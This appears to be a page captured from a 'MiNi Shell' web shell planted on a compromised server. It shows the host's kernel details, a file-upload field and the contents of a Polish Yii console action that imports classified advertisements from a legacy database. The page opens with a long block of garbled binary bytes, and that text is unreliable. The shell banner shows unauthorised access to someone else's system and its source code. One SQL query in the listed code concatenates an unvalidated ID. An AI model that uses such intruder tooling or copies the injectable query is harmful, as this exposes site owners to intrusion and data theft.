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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/console/controllers/actions/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/console/controllers/actions/ImportAdvertisementsAction.php

<?php

namespace console\controllers\actions;

ini_set('xdebug.overload_var_dump', 1);

use \Yii;
use common\models\Companies;
use common\models\Advertisements;
use common\models\AdvertisementsPhotos;
use common\models\AdvertisementsCategories;
use common\models\types\AdvertisementType;
use common\models\types\AdvertisementStatus;

class ImportAdvertisementsAction extends ImportAbstractAction
{       
    public $idAdvertisement;
    public $idPortal;
    public $limit;
    public $offset;
    
    private $advertisements = [];
    private $categoriesMap = [];
    private $statusesMap = [];
    private $typesMap = [];
    private $oldUsersToNewUsersMap = [];
    private $validatorPhone = null;
    private $portalsSimilar = [];
    
    public function run() 
    {
        $this->getAdvertisements();
        
        if(empty($this->advertisements)) {
            var_dump('brak danych do przetworzenia');
            exit;
        }
        
        $debugMode = self::DEBUG_MODE_ON;
        
        $innorrectImports = [];
        
        foreach($this->advertisements as $advertisement) {            
            if($this->checkIfSelectedRecordExists($advertisement['id'])) {
                continue;
            }        

            $filesToCopy = [];
            
            if($debugMode === self::DEBUG_MODE_ON) {
                echo "\n".'Ogloszenie ID: '.$advertisement['id'].' - ';
            }
            $innorrectImports[$advertisement['id']] = true;

            $transaction = Yii::$app->db->beginTransaction();

            //@todo przetestować całą akcję - wcześniej importowało ogłoszenia do jednego drzewa dla portali pokrewnych, a teraz drzewa są osobne
            //czyli aby uzyskać poprzednią wersję należy każde ogłoszenie zaimportować na każdy z portali pokrewnych
            $modelsAdvertisements = $this->createModelsAdvertisements($advertisement);  
            $idsAdvertisements = [];
            if(!empty($modelsAdvertisements)) {
                $goToNextIterration = false;
                foreach($modelsAdvertisements as $modelAdvertisement) {                    
                    if(($result = $this->trySaveModel($modelAdvertisement, $advertisement['id'], $debugMode)) !== true) {
                        var_dump($modelAdvertisement->getErrors()); 
//                        var_dump($modelAdvertisement->id_user); 
//                        exit;
                        var_dump('Blad podczas zapisu ogloszenia.');
                        $goToNextIterration = true;
                        break;
                    } 
                    $idsAdvertisements[] = $modelAdvertisement->id_advertisement;
                }
                if($goToNextIterration) {
                    continue;
                }
            }
            
            list($modelsAdvertisementsPhotos, $filesToCopy) = $this->createModelsAdvertisementsPhotos($idsAdvertisements, $advertisement);
            if(!empty($modelsAdvertisementsPhotos)) {
                $goToNextIterration = false;
                foreach($modelsAdvertisementsPhotos as $modelAdvertisementPhoto) {
                    if(($result = $this->trySaveModel($modelAdvertisementPhoto, $advertisement['id'], $debugMode)) !== true) {
                        var_dump('Blad podczas zapisu zdjecia ogloszenia.');
                        $goToNextIterration = true;
                        break;
                    } 
                }
                if($goToNextIterration) {
                    continue;
                }
            }
            
            foreach($modelsAdvertisements as $modelAdvertisement) {
                if(!empty($modelAdvertisement->image_filename)) {
                    $filesToCopy[] = [
                        'source_path' => Yii::getAlias('@runtime').'/sources/advertisements/'.$advertisement['img_1'],
                        'target_path' => Yii::getAlias('@advertisementsImagesRealPath').'/'.$modelAdvertisement->id_advertisement.'/'.$modelAdvertisement->image_filename
                    ];
                }
            }
            
            if(!empty($filesToCopy) && $debugMode === self::DEBUG_MODE_OFF) {
                $goToNextIterration = false;
                foreach($filesToCopy as $fileToCopy) {
                    if(!$this->copyFile($fileToCopy)) {
                        $this->saveOperationStatus(self::STATUS_FAIL, $advertisement['id'], null, 'Error when copying a file');
                        foreach($idsAdvertisements as $idAdvertisement) {
                            $this->removeDir(Yii::getAlias('@advertisementsImagesRealPath').'/'.$idAdvertisement.'/');
                        }
                        $transaction->rollBack();      
                        $goToNextIterration = true;
                        var_dump('Blad podczas zapisu pliku');
                        break;
                    }
                }
                if($goToNextIterration) {
                    continue;
                }
            }
            
            if($debugMode === self::DEBUG_MODE_OFF) {
                foreach($idsAdvertisements as $idAdvertisement) {
                    $this->saveOperationStatus(self::STATUS_OK, $advertisement['id'], $idAdvertisement);
                }
                $transaction->commit();    
//                echo 'zaimportowano';
                unset($innorrectImports[$advertisement['id']]);
            } else {
                echo 'zaimportowano';
                unset($innorrectImports[$advertisement['id']]);
            }
        }
        
        if(!empty($innorrectImports)) {
            echo "\n".'ID niezaimportowancyh ogloszen: '.implode(", ", array_keys($innorrectImports));
        }
    }
    
    private function getAdvertisements()
    {
        $this->advertisements = [];
        
        if(!empty($this->limit)) {
            if(!empty($this->offset)) {
                $limit = 'LIMIT '.intval($this->offset).','.intval($this->limit);
            } else {
                $limit = 'LIMIT '.intval($this->limit);
            }
        } else {
            $limit = 'LIMIT 100';
        }
        
        if(!empty($this->idAdvertisement)) {
            $sql = 'SELECT oferty.* FROM oferty WHERE oferty.id = '.$this->idAdvertisement.' AND oferty.typ NOT IN (0,5,6) AND oferty.status NOT IN (0,3) AND oferty.id_user != 0 AND oferty.id_portal != 0';
        } elseif(!empty($this->idPortal)) {        
            $sql = 'SELECT oferty.* FROM oferty WHERE oferty.typ NOT IN (0,5,6) AND oferty.status NOT IN (0,3) AND oferty.id_user != 0 AND oferty.id_portal != 0 AND oferty.id_portal = '.intval($this->idPortal).' ORDER BY oferty.data_pub ASC '.$limit;
        } else {
            $sql = 'SELECT oferty.* FROM oferty WHERE oferty.typ NOT IN (0,5,6) AND oferty.status NOT IN (0,3) AND oferty.id_user != 0 AND oferty.id_portal != 0 ORDER BY oferty.data_pub ASC '.$limit;
        }
        
//        $ids = [
//            63408, 90229, 91912, 91990, 91993, 91994, 91999, 92000, 92001, 92002, 92003, 92004, 92006, 92007, 122994, 122764, 125118, 126016, 546745, 
//            549660, 762335, 552060, 1924075, 1924076, 88204, 2372010, 2373310, 2373322, 2373324
//        ];        
//        $sql = 'SELECT oferty.* FROM oferty WHERE oferty.id IN ('.implode(",", array_values($ids)).') ORDER BY oferty.data_pub DESC';
        $rows = Yii::$app->dbVortale->createCommand($sql)->queryAll();
        if(empty($rows)) {
            return;
        }
        $idsAdvertisements = []; 
        foreach($rows as $row) {
            if(empty(intval($row['id_user'])) || empty(intval($row['id_portal'])) || intval($row['status']) === 0 || intval($row['status']) === 3 || intval($row['typ']) === 0 || intval($row['typ']) === 6) {
                continue;
            }
            $idPortal = intval($row['id_portal']);
            
            $portals = [];
            if(isset($this->portalsSimilar[$idPortal])) {
                $portals = $this->portalsSimilar[$idPortal];
            } else {
                $portals = [$idPortal];
            }
            
            $categories = [];
            foreach($portals as $key => $portal) {
                $idCategory = null;
                for($i = 1; $i < 4; $i++) {
                    if(!empty($row['k'.$i.'pp'])) {
                        if(isset($this->categoriesMap[intval($row['k'.$i.'pp'])][$portal])) {
                            $idCategory = $this->categoriesMap[intval($row['k'.$i.'pp'])][$portal];
                            break;
                        }
                        continue;
                    }
                    if(!empty($row['k'.$i.'p'])) {
                        if(isset($this->categoriesMap[intval($row['k'.$i.'p'])][$portal])) {
                            $idCategory = $this->categoriesMap[intval($row['k'.$i.'p'])][$portal];
                            break;
                        }
                        continue;
                    }
                    if(!empty($row['k'.$i])) {
                        if(isset($this->categoriesMap[intval($row['k'.$i])][$portal])) {
                            $idCategory = $this->categoriesMap[intval($row['k'.$i])][$portal];
                            break;
                        }
                        continue;
                    }
                }
                if(empty($idCategory)) {
                    unset($portals[$key]);
                } else {
                    $categories[$portal] = $idCategory;
                }
            }
            
            if(empty($portals)) {
                continue; 
            }
            
            $idAdvertisement = intval($row['id']);
            $data = $this->convertDataLatin2ToUTF8($row);
            $data['vm_id_company'] = $this->getIdCompanyForOldIdUser($row['id_user']);
            if(!empty($data['vm_id_company'])) {
                $data['vm_id_user'] = Companies::find()->select('id_user')->where(['id_company' => intval($data['vm_id_company'])])->scalar();
            } else {
                $data['vm_id_user'] = $this->getIdUserForOldIdUser($row['id_user']);
            }
            $data['vm_portals'] = $portals;
            $data['vm_categories'] = $categories;
            
            $idsAdvertisements[$idAdvertisement] = $idAdvertisement;
            
            $this->advertisements[$idAdvertisement] = $data;            
        }   
        
        unset($rows);  
    }
    
    private function fillCategoriesMap()
    {        
        $importedCategories = [];
        $query = new \yii\mongodb\Query();
        $documents = $query->from('import_advertisements_categories')->select(['_id', 'source_id', 'target_id'])->where(['status' => self::STATUS_OK])->all();
        if(!empty($documents)) {
            foreach($documents as $document) {             
                $importedCategories[(int)$document['target_id']] = (int)$document['source_id'];
            }
        } 
        unset($documents);
        
        $modelsAdvertisementsCategories = AdvertisementsCategories::find()->all();
        if(empty($modelsAdvertisementsCategories)) {
            return;
        }
        
        $this->categoriesMap = [];        
        foreach($modelsAdvertisementsCategories as $modelsAdvertisementsCategory) {
            if(isset($importedCategories[$modelsAdvertisementsCategory->id_category])) {
                $newIdCategory = $modelsAdvertisementsCategory->id_category;
                $oldIdCategory = $importedCategories[$newIdCategory];                
                $this->categoriesMap[$oldIdCategory][$modelsAdvertisementsCategory->id_portal] = $newIdCategory;
            }
        }
        unset($modelsAdvertisementsCategories);
        unset($importedCategories);
    }
    
    protected function createModelsAdvertisements($data)
    {
        $models = $filesToCopy = [];
        
        $model = new Advertisements(['scenario' => 'create']);
        $model->advertisement_type = isset($this->typesMap[intval($data['typ'])]) ? $this->typesMap[intval($data['typ'])] : null;        
        $model->id_user = intval($data['vm_id_user']);
        $model->id_company = !empty($data['vm_id_company']) ? intval($data['vm_id_company']) : null;
        $model->title = strip_tags($data['title']);
        $model->content = strip_tags($data['content']);        
        $model->id_country = 'PL'; //@todo nie mamy tego w danych źródłowych - chyba, że jest, a tego nie widzę...
        $model->id_region = intval($data['id_woj']); 
        
        if(in_array(mb_strtolower(mb_substr($data['adres'], 0, 3)), ['al.', 'ul.', 'os.'])) {
            $data['adres'] = trim(mb_substr($data['adres'], 3));
        }
        
        if(!empty($data['miejscowosc']) && mb_strlen($data['miejscowosc']) > 3) {
            $model->locality = trim(preg_replace('|[0-9\-]|i', '', $data['miejscowosc']));            
            $matches = [];
            preg_match('|[0-9]{2}-[0-9]{3}|', $data['miejscowosc'], $matches);
            if(isset($matches[0])) {
                $model->postcode = $matches[0];
            } 
            
            if(!empty($data['adres'])) {
                $matches = [];
                if(preg_match('@(.{0,5}[^0-9]*)\s([a-zA-Z]?[0-9]+.*)@', $data['adres'], $matches, 0) === 1) {
                    $model->street = trim($matches[1]);
                    $model->building_number = trim($matches[2]);
                } else {
                    $model->street = trim($data['adres']);
                    if(mb_strlen($model->street) > 60) {
                        $model->street = mb_substr($model->street, 0, 60); //@todo ustalić, czy możemy to tak przyciąć, czy też może chcecie ręcznie poprawiać
                    }
                }
            }            
        } elseif(!empty($data['adres'])) {
            $model->locality = $data['adres'];
        } else {
            $model->locality = 'BRAK'; //@todo proteza, po której trzeba będzie wyszukać ogłoszenia i ręcznie poprawić
        }
        
        if(mb_strlen($model->locality) > 60) {
            $model->locality = mb_substr($model->locality, 0, 60); //@todo ustalić, czy możemy to tak przyciąć, czy też może chcecie ręcznie poprawiać
        }
        
        //@todo ustalić co z tym robimy - przypisujemy jak poniżej środek Polski, czy próbujemy "jakoś" ustawiać skryptami ? :/
        $model->lat = 52.0693232;
        $model->lng = 19.4715572;        
        
        if(!empty($data['imie_osoba'])) {
            $model->contact_person = $data['imie_osoba'];
        } elseif(!empty($data['firma'])) {
            $model->contact_person = $data['firma'];
        } else {
            $model->contact_person = 'BRAK'; //@todo proteza, po której trzeba będzie wyszukać ogłoszenia i ręcznie poprawić
        }        
        if(mb_strlen($model->contact_person) > 50) {
            $model->contact_person = mb_substr($model->contact_person, 0, 50); //@todo ustalić, czy możemy to tak przyciąć, czy też może chcecie ręcznie poprawiać
        }
        
        if(!empty($data['telefon'])) {
            $phoneTemp = preg_replace('|[^0-9]|i', '', $data['telefon']);
            if($this->validatorPhone->validate($phoneTemp)) {
                $model->phone = $phoneTemp;
            }
        }
         
        //$model->expiry_date = Yii::$app->formatter->asDate($data['data_end'], 'yyyy-MM-dd');
        //@todo przetestować !!!
        $expiryDate = new \DateTime(Yii::$app->formatter->asDate($data['data_end'], 'yyyy-MM-dd'));
        $expiryDate->add(new \DateInterval('P180D'));
        $model->expiry_date = $expiryDate->format('Y-m-d');
        
        if($model->advertisement_type === AdvertisementType::SELL) {
            if(!empty($data['cena'])&&  is_numeric($data['cena'])) {
                $model->price = floatval(str_replace(',', '.', $data['cena']));
//                $model->price = str_replace(',', '.', $data['cena']);
            } else {
                $model->price = 0.00;
            }
        }
        
        $publicationDatetime = new \DateTime(Yii::$app->formatter->asDate($data['data_pub'], 'yyyy-MM-dd HH:mm:ss'));
        $model->publication_datetime = $publicationDatetime->format('Y-m-d H:i:s');
        
        //@todo na czas importu wyłączyć behaviorsy modelu common\models\Advertisements
        $model->created_at = $data['data_pub'];
        $model->updated_at = $data['data_pub'];
        
        $model->status = isset($this->statusesMap[intval($data['status'])]) ? $this->statusesMap[intval($data['status'])] : null;

        foreach($data['vm_portals'] as $idPortal) {
            $m = new Advertisements(['scenario' => 'create']);
            $m->attributes = $model->attributes;
            $m->id_portal = $idPortal;
            $m->id_category = intval($data['vm_categories'][$idPortal]);
            $m->image_filename = null;
            $path = Yii::getAlias('@runtime').'/sources/advertisements/'.$data['img_1'];
            if(!empty($data['img_1']) && file_exists($path)) {
                $fileInfo = pathinfo($path); 
                $m->image_filename = Advertisements::createImageFileName($fileInfo['filename'], $fileInfo['extension']);
            }
            
            $models[] = $m;
        }
        
        return $models;
    }
    
    protected function createModelsAdvertisementsPhotos($idsAdvertisements, $data) 
    {
        $models = $filesToCopy = [];
        
        $id = intval($data['id']);
        
        foreach($idsAdvertisements as $idAdvertisement) {        
            $photosOrder = 1;
            for($i = 1; $i <= 5; $i++) {
                foreach(['jpg', 'JPG', 'jpeg', 'JPEG', 'png', 'PNG', 'gif', 'GIF'] as $ext) {
                    $path = Yii::getAlias('@runtime').'/sources/advertisements/go_'.$id.'_foto_'.$i.'.'.$ext;
                    if(file_exists($path)) {
                        $fileInfo = pathinfo($path); 
                        $model = new AdvertisementsPhotos(['scenario' => 'create']);
                        $model->id_advertisement = $idAdvertisement;
                        $model->filename = AdvertisementsPhotos::createFileName($fileInfo['filename'], $fileInfo['extension']);
                        $model->title = null; //@todo wpisać jakikolwiek tytuł typu "Zdjęcie 1" czy odpuszczamy ? Wymagane nie jest.
                        $model->photo_order = $photosOrder;

                        $models[] = $model;
                        $filesToCopy[] = [
                            'source_path' => $path,
                            'target_path' => Yii::getAlias('@advertisementsImagesRealPath').'/'.$idAdvertisement.'/'.$model->filename
                        ];
                        $photosOrder++;

                        break;
                    } 
                }            
            }        
        }
        
        return [$models, $filesToCopy];
    }
    
    public function init() 
    {
        Yii::$app->dbVortale->createCommand('SET NAMES latin2;')->execute();
                
        $this->getUsersToCompaniesMap();
        $this->getOldUsersToNewUsersMap();
        
        $this->fillCategoriesMap();
        
        $this->portalsSimilar = [
            13 => [13,14,15],
            14 => [13,14,15],
            15 => [13,14,15],
            24 => [24, 40],
            40 => [24, 40],
            6 => [6, 11],
            11 => [6, 11],
        ]; //@todo uzupełnić
        
        $this->typesMap = [
            2 => AdvertisementType::SELL,
            3 => AdvertisementType::BUY,
            4 => AdvertisementType::PARTNERSHIP,
        ];
        
        //@todo sprawdzić, czy w tabeli pojawi się coś ze statusem = 2 (gdy sprawdzaliśmy w lutym 2019, to nie było żadnego rekordu)
        $this->statusesMap = [
            1 => AdvertisementStatus::ACTIVE,
            4 => AdvertisementStatus::TO_ACCEPT, //do akceptacji
        ];
        
        $this->validatorPhone = new \yii\validators\RegularExpressionValidator(['pattern' => '/^[0-9]{9,12}$/i']);
        
        parent::init();
    }
    
    protected function getOldUsersToNewUsersMap()
    {
        $this->oldUsersToNewUsersMap = [];
        $query = new \yii\mongodb\Query();
        $documents = $query->from('import_users')->select(['_id', 'source_id', 'target_id'])->where(['status' => self::STATUS_OK])->all();
        if(!empty($documents)) {
            foreach($documents as $document) {
                $this->oldUsersToNewUsersMap[(int)$document['source_id']] = (int)$document['target_id'];
            }
        } 
    }
    
    protected function getIdUserForOldIdUser($oldIdUser)
    {
        return isset($this->oldUsersToNewUsersMap[(int)$oldIdUser]) ? $this->oldUsersToNewUsersMap[(int)$oldIdUser] : null;
    }
    
    protected function getOperationStatusCollectionName()
    {
        return 'import_advertisements';
    }
}

Creat By MiNi SheLL
Email: jattceo@gmail.com